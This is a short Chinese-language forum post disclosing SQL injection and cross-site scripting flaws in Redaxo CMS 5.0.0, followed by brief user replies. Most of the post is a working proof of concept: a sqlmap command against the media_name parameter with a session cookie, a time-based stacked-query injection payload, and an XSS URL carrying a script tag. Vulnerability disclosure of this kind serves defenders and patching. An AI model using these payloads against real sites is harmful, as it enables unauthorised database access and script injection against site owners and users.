Redaxo CMS跨站/注入漏洞

90_

version 5.0.0

[PHP] 纯文本查看 复制代码

 
POC:
注入
sqlmap -u "https://127.0.0.1/redaxo/index.php?page=mediapool%2fmedia&rex_file_category=0&media_name=blub&undefined=%0d" --cookie="PHPSESSID=h9s74l660iongtg71bpkjup0d1" -p media_name

Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: page=mediapool/media&rex_file_category=0&media_name=test');(SELECT * FROM (SELECT(SLEEP(5)))jbWV)#&undefined=
 
XSS
Authentication required: yes
Used browser: FF42
Example:
[url]https://127.0.0.1/redaxo/index.php?page=mediapool/media&info=Datei+tot.[/url]<script>alert("xss");</script>&opener_input_field=

哈喽啊

哎呦不错哦，好像还没有发的

clocks

这个真的是很新的BUG哦。。。